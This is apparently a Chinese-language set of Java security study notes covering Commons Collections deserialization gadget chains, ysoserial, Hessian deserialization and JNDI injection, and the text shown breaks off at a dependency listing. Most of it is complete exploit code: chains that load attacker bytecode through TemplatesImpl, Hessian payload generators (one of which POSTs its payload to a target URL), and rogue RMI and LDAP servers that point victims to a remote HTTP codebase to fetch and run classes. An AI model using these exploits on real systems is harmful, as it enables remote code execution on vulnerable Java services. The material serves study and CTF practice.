import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import javax.xml.transform.Templates; import org.apache.commons.collections.functors.InstantiateTransformer;
public class Transform { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "xxx"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\Lenovo\\Desktop\\evil.class")); byte[][] codes = new byte[][]{code}; bytecodesField.set(templates, codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class); } }
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| package com.example.demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class Transform {
public static void main(String[] args) {
try{ byte[] code = Base64.decode("yv66vgAAADMAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAB4HABwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAgAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAkACgcAIQwAIgAjAQAEY2FsYwwAJAAlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAJgAKAQAVY29tL2V4YW1wbGUvZGVtby9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAYAACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADgAEABAADQATABAAEQARABIAFQAUAA0AAAAQAAL/ABAAAQcADgABBwAPBAABABAAEQACAAsAAAAZAAAAAwAAAAGxAAAAAQAMAAAABgABAAAAGAASAAAABAABABMAAQAQABQAAgALAAAAGQAAAAQAAAABsQAAAAEADAAAAAYAAQAAABwAEgAAAAQAAQATAAEAFQAAAAIAFg==");
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{code}); setFieldValue(templates, "_name", "xxx"); setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map uselessMap = new HashMap(); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(handler1); oos.flush(); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close();
} catch (Exception e) { e.printStackTrace(); }
}
public static void setFieldValue(Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } }
}
|
cc4
本链环境:
1 2 3 4 5
| <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
|
这条链子的起点是 priority_queue 的 readobject
看一下 priority_queue 的构造方法

传一个初始容量和 comparator进去,然后看一下入口 readobject,

走入 heapify,

这里:
1
| for (int i = (size >>> 1) - 1; i >= 0; i--)
|

进 siftDownUsingComparator 方法

进 comparator.compare 方法

这里 TransformingComaprator.compare,执行了 transformer 的 transform 方法。
看一下构造方法,传进去 chainedtransformer 即可,后面的和 cc3 链差不多,都是调 translateClass

注意注意,因为priorityQueue.add(1)在添加过程中,就会进一步地触发 compare() 方法,导致利用链生成,为了避免提前触发先改成一个假的后面进行反射修改即可。




exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| package com.example.demo;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Comparator; import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import javax.xml.transform.TransformerConfigurationException;
public class Transform { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException { byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\Lenovo\\IdeaProjects\\untitled2\\src\\main\\java\\com\\example\\demo\\Evil.class")); final TemplatesImpl templates = new TemplatesImpl(); Setvalue(templates,"_name","Evil"); Setvalue(templates,"_bytecodes",new byte[][]{bytes}); Setvalue(templates,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers =new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2);
Class c =transformingComparator.getClass(); Field transformingField= c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue); unserialize("2.bin");
} public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException { final Field field = classname.getClass().getDeclaredField(valuename); field.setAccessible(true); field.set(classname,value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
链子:
1
| priorityqueue.readobject=>priorityqueue.heapify()=>priorityqueue.siftDown()=>priorityqueue.siftDownUsingComparator()=>transformingComparator.compare()=>transform=>chainedtransformer=>instantiateTransformer=>traAXFilter=>TemplateImpl.newtransformer=>工具类defineclass加载字节码=>构造函数调用
|
cc2
cc2链子是 cc4 前半部分,走到 chainedtransformer 调用的时候不用 traAXFilter 来调 templateImpl 恶意加载字节码,而是用 Invokertransformer 调 templateImpl。
看一下具体实现

这里 走到 comparator.compare 的时候第一个参数进来的是第一个 obj(),因此要 Invokertransform 调用的就是 templates.newTransformer 来 RCE。
同样的为了避免在 add 中提前触发 compare 方法,所以要先进行一波错误的初始化然后再反射修改。
exp1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package com.example.demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.sql.Time; import java.util.PriorityQueue;
public class Transform { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); Class cc3 = templates.getClass(); Field nameField = cc3.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "sfabc"); Field bytecodesField = cc3.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\Lenovo\\IdeaProjects\\untitled2\\src\\main\\java\\com\\example\\demo\\Evil.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add("1"); Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator, invokerTransformer); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
BadAttributeValueExpException 改cc4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import org.apache.commons.collections4.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.InputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class AttackCC4TI { public static void main(String[] args) throws Exception { byte[] bytes = generate(); String b64 = Base64.getEncoder().encodeToString(bytes); java.nio.file.Files.write(java.nio.file.Paths.get("payload.txt"), b64.getBytes("UTF-8")); System.out.println("OK payload.txt"); }
static byte[] generate() throws Exception { byte[] clazz = readAll("EchoPayload.class"); TemplatesImpl templates = new TemplatesImpl(); set(templates, "_name", "pwn"); set(templates, "_bytecodes", new byte[][]{clazz}); set(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", new Class[0], new Object[0]) }; Transformer chain = new ChainedTransformer(transformers);
Map inner = new HashMap(); Map lazy = LazyMap.lazyMap(inner, new ConstantTransformer(1)); TiedMapEntry entry = new TiedMapEntry(lazy, "foo"); BadAttributeValueExpException bae = new BadAttributeValueExpException(null); Field val = BadAttributeValueExpException.class.getDeclaredField("val"); val.setAccessible(true); val.set(bae, entry); Field fac = lazy.getClass().getDeclaredField("factory"); fac.setAccessible(true); fac.set(lazy, chain);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(bae); oos.close(); return baos.toByteArray(); }
static void set(Object obj, String f, Object v) throws Exception { Field field = obj.getClass().getDeclaredField(f); field.setAccessible(true); field.set(obj, v); }
static byte[] readAll(String path) throws Exception { File file = new File(path); InputStream is = new FileInputStream(file); byte[] buf = new byte[(int) file.length()]; int off = 0; int n; while ((n = is.read(buf, off, buf.length - off)) > 0) off += n; is.close(); return buf; } }
|
cc 链工具
frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
1
| java -jar ysoserial-all.jar CommonsCollections5 "calc" | base64 -w 0 | tee 1.txt
|
Hessian反序列化
原生+TemplatesImpl(高版本)
【Web】浅聊Hessian反序列化原生jdk利用与高版本限制绕过_jdk17 hessian 反序列化-CSDN博客
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| import com.caucho.hessian.io.Hessian2Output; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList; import javax.swing.*; import java.io.ByteArrayOutputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64;
public class EXP2 { public static Object loadClass() throws Exception { UIDefaults uiDefaults = new UIDefaults();
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload = classPool.makeClass("Z3r4y"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"whoami\");"); byte[] bytes = payload.toBytecode(); Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Method newTransformer = Class.forName(TemplatesImpl).getDeclaredMethod("newTransformer");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); setFieldValue(templates, "_name", "test"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class); SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{newTransformer, templates, new Object[]{}}});
uiDefaults.put("xxx", slz); MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList(); setFieldValue(mimeTypeParameterList, "parameters", uiDefaults); return mimeTypeParameterList; }
public static void ser(Object evil) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(baos); output.getSerializerFactory().setAllowNonSerializable(true);
baos.write(67); output.writeObject(evil); output.flushBuffer();
byte[] payloadBytes = baos.toByteArray(); String base64Payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println("=== Hessian2 Payload (Base64) ==="); System.out.println(base64Payload); System.out.println("================================="); }
public static void main(String[] args) throws Exception { try { ser(loadClass()); } catch (Exception e) { e.printStackTrace(); } }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
打 _toString
[TCTF2022 Hessian-onlyJdk - Boogiepop Doesn’t Laugh](https://boogipop.com/2023/03/29/TCTF2022 _ Hessian-onlyJdk/)
exp.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130
| package com.app;
import com.app.qwq; import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import sun.reflect.ReflectionFactory; import sun.security.pkcs.PKCS9Attribute; import sun.security.pkcs.PKCS9Attributes; import sun.security.util.DerInputStream; import sun.security.util.DerValue; import sun.security.util.ObjectIdentifier; import sun.swing.SwingLazyValue;
import javax.swing.*; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLEncoder; import java.util.Base64;
public class exp { static final String targetUrl = "http://localhost:7999/ROOT_war/code";
public static void main(String[] args) throws Exception { PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class); UIDefaults uiDefaults = new UIDefaults(); JavaClass evil = Repository.lookupClass(qwq.class); String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
setFieldValue(s, "attributes", uiDefaults); ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(baos); baos.write(67); out.getSerializerFactory().setAllowNonSerializable(true); out.writeObject(s); out.flushBuffer();
String base64Data = Base64.getEncoder().encodeToString(baos.toByteArray()); postWithBase64(base64Data);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); }
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T) sc.newInstance(consArgs); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void postWithBase64(String base64Data) throws Exception { URL url = new URL(targetUrl); HttpURLConnection con = (HttpURLConnection) url.openConnection(); con.setRequestMethod("POST"); con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); con.setDoOutput(true);
String postData = "code=" + URLEncoder.encode(base64Data, "UTF-8"); System.out.println(postData);
try (OutputStream os = con.getOutputStream()) { os.write(postData.getBytes("UTF-8")); os.flush(); }
int responseCode = con.getResponseCode(); System.out.println("Response Code: " + responseCode);
try (BufferedReader in = new BufferedReader(new InputStreamReader( responseCode >= 400 ? con.getErrorStream() : con.getInputStream()))) { String inputLine; StringBuilder content = new StringBuilder(); while ((inputLine = in.readLine()) != null) { content.append(inputLine); } System.out.println("Response Content: " + content.toString()); } }
public static void post(byte[] b) throws Exception { URL url = new URL(targetUrl); HttpURLConnection con = (HttpURLConnection) url.openConnection(); con.setRequestMethod("POST"); con.setDoOutput(true);
try (OutputStream os = con.getOutputStream()) { os.write(b); }
BufferedReader in = new BufferedReader( new InputStreamReader(con.getInputStream())); String inputLine; StringBuilder content = new StringBuilder(); while ((inputLine = in.readLine()) != null) { content.append(inputLine); } in.close();
System.out.println(content.toString()); } }
|
qwq.java(编译为字节码 qwq.class)
1 2 3 4 5 6 7 8 9
| package com.app;
import java.io.IOException;
public class qwq { public static void _main(String[] argv) throws IOException { Runtime.getRuntime().exec(""); } }
|
内存马
Java Hessian反序列化之原生JDK利用链分析以及不出网注入内存马 | P0l@R19ht
JNDI注入
Java安全学习——JNDI注入 - 枫のBlog
概述
一图读懂:

大概就是通过一些接口,能够轻量化的统一集成式的解决一些开发痛点,能够产生注入的大概就是下面两个接口:
- RMI: Java Remote Method Invocation,Java 远程方法调用
- LDAP: 轻量级目录访问协议
Reference类
Reference 类表示对存在于命名/目录系统以外的对象的引用。比如远程获取 RMI 服务上的对象是 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。
当在本地找不到所调用的类时,我们可以通过Reference类来调用位于远程服务器的类。
Reference 类常用构造函数如下
1 2 3 4
|
Reference(String className, String factory, String factoryLocation)
|
在 RMI 中,由于我们远程加载的对象需要继承UnicastRemoteObject类,所以这里我们需要使用ReferenceWrapper 类对 Reference 类或其子类对象进行远程包装成 Remote 类使其能够被远程访问。
低版本注入

以下低版本均为:8u65。
RMI + Reference
服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.Naming; import java.rmi.registry.LocateRegistry;
public class RMI_Server_Reference { void register() throws Exception{ LocateRegistry.createRegistry(1099); Reference reference = new Reference("RMIHello","RMIHello","http://123.57.107.33:8888/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference); Naming.bind("rmi://127.0.0.1:1099/hello",refObjWrapper); System.out.println("Registry运行中......"); }
public static void main(String[] args) throws Exception { new RMI_Server_Reference().register(); } }
|
远程类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; import java.util.Hashtable; public class RMIHello extends UnicastRemoteObject implements ObjectFactory { public RMIHello() throws RemoteException { super(); try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } public String sayHello(String name) throws RemoteException { System.out.println("Hello World!"); return name; } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
|
测试环境:
1 2 3 4 5 6 7 8 9
| import javax.naming.InitialContext; public class JNDI_Dynamic { public static void main(String[]args) throws Exception{ String string = "rmi://localhost:1099/hello"; InitialContext initialContext = new InitialContext(); initialContext.lookup(string); } }
|

LDAP + Reference
利用 Codebase 远程类加载:
1 2 3 4
| e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef());
|
服务端:
1 2 3 4 5
| <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
public class LDAP_Server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://123.57.107.33:8888/#EXP"}; int port = 1234;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
远程类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable; public class EXP implements ObjectFactory { public EXP() throws Exception{ try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
|
测试环境:
1 2 3 4 5 6 7 8 9
| import javax.naming.InitialContext;
public class JNDI_LDAP { public static void main(String[]args) throws Exception{ String string = "ldap://localhost:1234/EXP"; InitialContext initialContext = new InitialContext(); initialContext.lookup(string); } }
|

绕过高版本限制
使用本地的Reference Factory类
8u191后已经默认不允许加载 codebase 中的远程类,但我们可以从本地加载合适 Reference Factory。
需要注意是,该本地工厂类必须实现 javax.naming.spi.ObjectFactory 接口,因为在 javax.naming.spi.NamingManager#getObjectFactoryFromReference 最后的 return 语句对 Factory 类的实例对象进行了类型转换,并且该工厂类至少存在一个 getObjectInstance() 方法。
Tomcat8
org.apache.naming.factory.BeanFactory就是满足条件之一,并由于该类存在于Tomcat8依赖包中,攻击面和成功率还是比较高的。
org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
